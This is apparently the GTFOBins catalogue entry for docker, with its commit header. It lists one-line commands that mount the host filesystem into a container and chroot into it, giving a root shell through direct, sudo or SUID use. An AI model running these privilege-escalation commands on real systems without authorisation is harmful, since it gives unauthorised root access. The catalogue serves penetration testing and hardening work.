GTFOBins.github.io/_gtfobins/docker.md
Andrea Cardaci 40ecb11b2e Simplify the docker example by using chroot
Also make it available for non-root users.

The previous SUID example had the problem that the loaders between host and
containers must match, for example, copying `sh` from alpine to debian doesn't
directly work.
2019-07-02 15:47:29 +02:00

15 lines
696 B
Markdown

---
description: |
This requires the user to be privileged enough to run docker, i.e. being in the `docker` group or being `root`.
functions:
shell:
- description: Any other Docker Linux image should work, e.g., `debian`. The resulting is a root shell.
code: docker run -v /:/mnt --rm -it alpine chroot /mnt sh
sudo:
- description: Any other Docker Linux image should work, e.g., `debian`. The resulting is a root shell.
code: sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh
suid:
- description: Any other Docker Linux image should work, e.g., `debian`. The resulting is a root shell.
code: ./docker run -v /:/mnt --rm -it alpine chroot /mnt sh
---